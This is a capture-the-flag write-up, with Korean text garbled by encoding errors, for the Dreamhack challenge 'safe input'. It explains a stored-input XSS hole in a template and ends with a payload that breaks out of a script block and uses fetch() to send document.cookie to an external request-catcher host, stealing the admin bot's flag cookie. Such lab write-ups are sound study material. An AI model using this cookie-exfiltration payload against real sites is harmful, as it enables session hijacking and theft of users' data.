1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/1671
safe input
Description It's so safe that it can't be seen.
dreamhack.io
2. ํด๊ฒฐ ๊ณผ์
๋ฌธ์ ํ์ด์ง์ ์ ์ํด๋ณด๋ฉด /test๋ก ์ฐ๊ฒฐ๋๋ค.
๋ฌธ์ ํ์ผ์ ๋ค์ด๋ก๋ ๋ฐ์๋ณด๋ฉด report์ test ํ์ด์ง์ ๋ํ ์ ๋ณด๋ฅผ ์ป์ ์ ์๋ค.
๋จผ์ app.py ์ฝ๋๋ ์ ๋ ๋์์ ํตํด ํฌ๋กฌ ๋ธ๋ผ์ฐ์ ๋ฅผ ์คํํ๋ ์ฝ๋์ด๋ค.
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get(f"http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
sleep(1)
๋ํ 2๊ฐ์ง์ ๋ผ์ฐํฐ๊ฐ ์กด์ฌํ๋ค.
- /test (GET): text ๊ฐ์ ๊ฐ์ ธ์์ test.html์ ์ ๋ฌ
- /report : form์์ text ๊ฐ์ ๋ฐ์์ access_page() ํจ์ ์คํ (flag ์ฟ ํค์ ํจ๊ป) -> ์ฑ๊ณต/์คํจ ์ฌ๋ถ๋ฅผ ๋ฉ์์ง๋ก ํ์
์ค์ ๋ก text์ 1234๋ฅผ ์ ๋ ฅํด์ ์์ฒญ์ ๋ณด๋ด๋ฉด ๊ทธ๋๋ก ์ ๋ ฅ๊ฐ์ด ์ฝ์ ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
๋ค์์ผ๋ก report ํ์ด์ง์ ์ ์ํ์ฌ form์ ์๋ฌด๊ฐ์ ์ ๋ ฅํด๋ณด์๋๋ fail ์ด ๋ด๋ค.
์ฆ , ์ ๋ฆฌํด๋ณด๋ฉด
- ์ฌ์ฉ์๊ฐ /report ํ์ด์ง์์ text๊ฐ ์ ๋ ฅ
- ์๋ฒ์ Chrome์ด /test?text= ~~ ํ์ด์ง ๋ฐฉ๋ฌธ
- ์ด๋ Chrome์ FLAG๋ผ๋ ๋น๋ฐ๊ฐ์ ์ฟ ํค๋ก ๊ฐ์ง๊ณ ์์
๋ฐ๋ผ์ ํ๋๊ทธ๋ฅผ ์ป๊ธฐ ์ํด์๋ ์ฟ ํค๊ฐ์ ํ์ทจํด์ผ ํ๋ค๋ ๊ฒ์ด๋ค.
์ด๋ test.html์ ๋ณด๋ฉด ์ฌ์ฉ์ ์ ๋ ฅ(test)์ด JavaScript ๋ฌธ์์ด์ ์ง์ ์ฝ์ ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ฆ, xss ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค.
<script>
const contentElement = document.getElementById('content');
const safeInput = "Test: " + `{{test|safe}}`;
</script>
๋ฐ๋ผ์ ์ ๋ ฅ๊ฐ ํ์์ ๋ง์ถฐ์ ๋ซ์์ฃผ๊ณ fetch()๋ฅผ ์ด์ฉํ์ฌ ์ฟ ํค๊ฐ์ ์์ฒญํ๋ ์คํฌ๋ฆฝํธ ๊ตฌ๋ฌธ์ ๋ฃ์ด์ค ๊ฒ์ด๋ค.
"}); </script><script>fetch('https://yudvndj.request.dreamhack.games?flag=' + document.cookie);//
ํ๋๊ทธ ํ๋ ์ฑ๊ณต ! ><